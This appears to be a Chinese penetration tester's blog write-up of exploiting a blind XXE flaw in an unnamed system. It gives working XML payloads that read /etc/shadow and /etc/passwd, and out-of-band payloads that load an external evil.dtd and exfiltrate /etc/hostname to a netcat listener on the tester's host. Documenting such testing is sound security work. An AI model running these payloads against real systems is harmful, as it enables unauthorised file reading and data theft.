0x01背景:
kaiputenku大佬最近在挖洞的时候偶遇一枚XXE漏洞,身经百战的他经过一番爱恨纠缠,终将她顺利拿下~
0x02纠缠一番只为她-Blind OOB XXE:
在测试某系统的某查询功能模块如下:
- 查询模块.jpg(请各位大佬自行脑补)
- 下面即将开始kaiputenku的表演:
首先使用burp抓包,发现提交xml形式的数据包,很容易想到可能存在XML外部实体注入
尝试构造以下payload读取/etc/shadow文件:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/shadow">]><root>&file;</root>
HTTP回显报错Permission denied,说明payload成功执行,证明确实存在XML外部实体注入,只是用户权限不足读取失败
尝试构造以下payload读取/etc/passwd文件
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]><root>&file;</root>
发现HTTP回显正常,但是没有我们想要的passwd文件信息,说明是Blind XXE漏洞
Blind XXE漏洞有两种常见的利用方式,ftp读回显和http读回显
- 尝试ftp读回显
测试主机ip为10.xx.xx.31
1)在测试主机上开启Web服务,并创建eval.dtd文件,内容如下
2)在测试主机上下载并运行xxe-ftp-server.rb,运行后会在2121端口开启ftp服务,脚本下载地址:https://github.com/ONsec-Lab/scripts
3)构造如下payload并发起请求
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE a[<!ENTITY % asd SYSTEM "http://10.xx.xx.31:8080/evil.dtd">%asd;%c;]><a>&rrr;</a>
发现HTTP回显Connection refused
在测试主机Web日志中发现目标主机已经成功下载了evil.dtd文件,但是HTTP又回显Connection refused,猜测是ftp服务的问题
直接在浏览器中访问http://10.xx.xx.31:2121/,发现连接被拒绝,这里没搞不明白为什么已经开启了ftp服务并且正在监听[::]:2121还是拒绝连接,换了台测试主机出现同样的问题,花了很长时间没有解决,猜测是内部网络策略的问题,遂放弃,准备尝试HTTP读回显的方式。
- 尝试http读回显
测试主机ip为10.xx.xx.31
1)在测试主机上开启Web服务,并创建eval.dtd文件,内容如下
2)使用nc进行监听,执行necat.exe -lvvp 8081,监听8081端口
3)构造如下payload并发起请求
<!DOCTYPE convert[<!ENTITY % remote SYSTEM "http://10.xx.x.31:8080/evil.dtd">%remote;%int;%send;]>
发现HTTP回显Illegal character in URL,说明该payload成功读取到/etc/passwd文件,尝试将/etc/passwd拼接到URL:'http://10.xx.xx.31:8081?p=%file;',但是由于passwd文件中的数据不符合URL构造要求,所以目标主机报Illegal character in URL的错误
所以开始尝试读取较为简单,文本信息较少的文件,比如/etc/hostname文件,里面只是保存了主机名,应该不会有什么特殊字符导致URL不合法
修改测试主机中的evil.dtd文件如下:
再次请求payload,发现该请求一直处于Waiting状态
并且发现necat.exe成功监听到目标主机的Web请求,并且在URL中读取到/etc/hostname文件信息,目标主机名为gp13erxxxxxxx36
0x03总结:
以上即为测试该漏洞的全部过程,由于处于全内网环境,寻找下载工具花了较长时间,ftp拒绝连接的坑也花费了很长时间,最后还是没有解决--.--。但是变通使用necat监听http请求成功读取到了目标主机的文件信息。
当然还有很多玩法,比如内网主机、端口存活扫描,DOS等,大家自己探索~